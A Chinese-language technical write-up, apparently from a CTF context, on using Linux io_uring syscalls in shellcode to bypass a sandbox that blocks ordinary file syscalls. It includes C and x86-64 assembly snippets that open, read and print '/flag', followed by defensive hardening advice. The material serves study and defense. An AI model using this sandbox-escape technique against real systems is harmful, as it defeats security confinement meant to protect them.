深入探索:利用 io_uring 实现高效的 Shellcode 攻击
字数 1456 2025-08-22 12:23:18
利用 io_uring 实现高效的 Shellcode 攻击技术详解
1. io_uring 技术基础
1.1 io_uring 概述
io_uring 是 Linux 内核于 2019 年引入的一种新型异步 I/O 模型,旨在通过减少系统调用和上下文切换的开销来显著提高 I/O 操作性能。其核心特点包括:
- 使用环形缓冲区实现高效的事件驱动机制
- 支持批量提交和完成 I/O 操作
- 减少用户态与内核态之间的数据拷贝
- 提供高性能的异步 I/O 操作接口
1.2 io_uring 核心系统调用
io_uring 主要依赖两个关键系统调用:
-
io_uring_setup (系统调用号 425)
int io_uring_setup(unsigned entries, struct io_uring_params *params);entries: 指定环形缓冲区大小(必须是2的幂,范围1-4096)params: 用于传递参数和获取返回信息
-
io_uring_enter (系统调用号 426)
int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t sig);fd: io_uring_setup 返回的文件描述符to_submit: 要提交的SQE数量min_complete: 要求内核等待完成的请求数量flags: 控制调用行为的标志位
1.3 io_uring 内存映射区域
io_uring 使用三个关键的内存映射区域:
#define IORING_OFF_SQ_RING 0ULL // 提交队列环(SQ Ring)
#define IORING_OFF_CQ_RING 0x8000000ULL // 完成队列环(CQ Ring)
#define IORING_OFF_SQES 0x10000000ULL // 提交队列条目数组(SQEs)
2. 绕过沙箱限制的技术分析
2.1 沙箱限制分析
示例中的沙箱规则禁止了几乎所有常见的文件操作系统调用:
- 基本文件操作:read, write, open
- 扩展文件操作:pread64, pwrite64, readv, writev
- 网络相关:sendfile, sendto, sendmsg
- 执行相关:execve, execveat
- 其他高级操作:openat, preadv, pwritev等
2.2 io_uring 绕过原理
由于沙箱未禁止 io_uring 相关系统调用(425和426),可以利用它们实现:
- 通过 io_uring_setup 初始化异步I/O环境
- 使用 io_uring_enter 提交特殊构造的I/O请求
- 利用 IORING_OP_OPENAT, IORING_OP_READ, IORING_OP_WRITE 等操作码实现文件操作
3. 攻击实现步骤详解
3.1 初始化 io_uring 环境
struct io_uring_params params = {};
int uring_fd = syscall(SYS_io_uring_setup, 16, ¶ms);
// 映射三个关键内存区域
unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);
unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);
struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_SHARED, uring_fd, IORING_OFF_SQES);
3.2 构造并提交 OPENAT 请求
sqes[0] = (struct io_uring_sqe){
.opcode = IORING_OP_OPENAT,
.flags = IOSQE_ASYNC,
.addr = "/flag",
.open_flags = O_RDONLY,
};
// 更新SQ环指针
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;
// 提交请求
syscall(SYS_io_uring_enter, uring_fd, 1, 1,
IORING_ENTER_GETEVENTS, NULL, 0);
// 获取结果
struct io_uring_cqe *cqe = (void *)(cq_ring + params.cq_off.cqes);
int opened_fd = (int)cqe->res;
3.3 构造并提交 READ 请求
sqes[0] = (struct io_uring_sqe){
.opcode = IORING_OP_READ,
.fd = opened_fd,
.addr = buffer,
.len = 100,
};
// 更新并提交
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;
syscall(SYS_io_uring_enter, uring_fd, 1, 1,
IORING_ENTER_GETEVENTS, NULL, 0);
3.4 构造并提交 WRITE 请求
sqes[0] = (struct io_uring_sqe){
.opcode = IORING_OP_WRITE,
.fd = 1, // stdout
.addr = buffer,
.len = 100,
};
// 更新并提交
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;
syscall(SYS_io_uring_enter, uring_fd, 1, 3,
IORING_ENTER_GETEVENTS, NULL, 0);
4. Shellcode 实现技巧
4.1 寄存器利用
mov rbp, rdx
add rbp, 0xa00 ; 设置基址指针
mov rbx, rbp
sub rbx, 0xf0 ; 预留空间
4.2 系统调用封装
; io_uring_setup
mov r12, [rbp-0x118]
xor rax, rax
sub rsp, 8
push 0
mov rax, 425 ; SYS_io_uring_setup
mov rdi, 16 ; entries
mov rsi, rbx ; params
syscall
add rsp, 0x10
4.3 内存操作
; 映射SQ环
mov r13, rax ; 保存uring_fd
mov rdi, 0 ; addr
mov rsi, 1000 ; length
mov rdx, 3 ; PROT_READ|PROT_WRITE
mov r10, 1 ; MAP_SHARED
mov r8, r13 ; fd
mov r9, 0 ; offset (IORING_OFF_SQ_RING)
mov rax, 9 ; SYS_mmap
syscall
mov [rbp-0x110], rax ; 保存sq_ring指针
5. 防御与检测建议
-
沙箱加固:
- 禁止io_uring相关系统调用(425, 426)
- 限制mmap和mprotect的使用
-
行为监控:
- 监控非常规文件操作路径
- 检测异常的io_uring使用模式
-
内核加固:
- 启用io_uring的权限检查
- 限制非特权用户的io_uring访问
-
代码审计:
- 检查shellcode中的系统调用模式
- 分析异常的异步I/O操作序列
6. 总结
io_uring作为高性能I/O接口,其强大的功能也可能被恶意利用绕过安全限制。本文详细分析了如何利用io_uring实现沙箱逃逸和文件操作的技术细节,包括:
- io_uring的基本原理和系统调用
- 绕过沙箱限制的具体方法
- 完整的攻击实现流程
- Shellcode编写技巧
- 防御建议
安全研究人员和系统管理员应充分了解这些技术,以便更好地防御此类高级攻击。